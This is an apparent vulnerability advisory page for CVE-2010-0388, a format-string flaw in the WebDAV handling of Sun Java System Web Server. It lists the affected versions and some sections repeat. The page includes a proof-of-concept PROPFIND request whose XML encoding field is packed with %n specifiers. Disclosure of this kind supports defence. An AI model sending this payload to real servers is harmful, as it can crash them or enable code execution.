Sun Java System Web Server WebDAV Format String Vulnerability
BID:37910
Info
Sun Java System Web Server WebDAV Format String Vulnerability
| Bugtraq ID: | 37910 |
| Class: | Input Validation Error |
| CVE: |
CVE-2010-0388 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 22 2010 12:00AM |
| Updated: | Apr 13 2015 09:03PM |
| Credit: | Intevydis |
| Vulnerable: |
Sun Java System Web Server 6.1 SP9 Sun Java System Web Server 6.1 SP8 Sun Java System Web Server 6.1 SP7 Sun Java System Web Server 6.1 SP6 Sun Java System Web Server 6.1 SP5 Sun Java System Web Server 6.1 SP4 Sun Java System Web Server 6.1 SP3 Sun Java System Web Server 6.1 SP2 Sun Java System Web Server 6.1 SP11 Sun Java System Web Server 6.1 SP10 Sun Java System Web Server 6.1 SP1 Sun Java System Web Server 6.1 Sun Java System Web Server 7.0 Update 7 Sun Java System Web Server 7.0 Update 6 Sun Java System Web Server 7.0 Update 3 Sun Java System Web Server 7.0 Update 2 Sun Java System Web Server 7.0 Update 1 Sun Java System Web Server 6.1 |
| Not Vulnerable: | |
Discussion
Sun Java System Web Server WebDAV Format String Vulnerability
Sun Java System Web Server is prone to a format-string vulnerability because it fails to properly sanitize user-supplied input. The issue affects the WebDAV functionality.
Currently very few technical details are available. We will update this BID as more information emerges.
Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
The issues affects the following:
Sun Java System Web Server 7.0 without Update Release 8
Sun Java System Web Server 6.1 without Service Pack 12
Sun Java System Web Server is prone to a format-string vulnerability because it fails to properly sanitize user-supplied input. The issue affects the WebDAV functionality.
Currently very few technical details are available. We will update this BID as more information emerges.
Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
The issues affects the following:
Sun Java System Web Server 7.0 without Update Release 8
Sun Java System Web Server 6.1 without Service Pack 12
Exploit / POC
Sun Java System Web Server WebDAV Format String Vulnerability
The following example request is available:
s="PROPFIND /pages/ HTTP/1.1\n" # WebDAV URI
s+="Host: localhost\n"
s+="Depth: 0\n"
s+="Content-Length: 58\n"
s+="Content-Type: application/xml\n\n"
s+="<?xml version=\"1.0\" encoding=\"utf-%n%n%n%n%n%n%n%n%n%n\"?>"
The following example request is available:
s="PROPFIND /pages/ HTTP/1.1\n" # WebDAV URI
s+="Host: localhost\n"
s+="Depth: 0\n"
s+="Content-Length: 58\n"
s+="Content-Type: application/xml\n\n"
s+="<?xml version=\"1.0\" encoding=\"utf-%n%n%n%n%n%n%n%n%n%n\"?>"
Solution / Fix
Sun Java System Web Server WebDAV Format String Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Sun Java System Web Server WebDAV Format String Vulnerability
References:
References: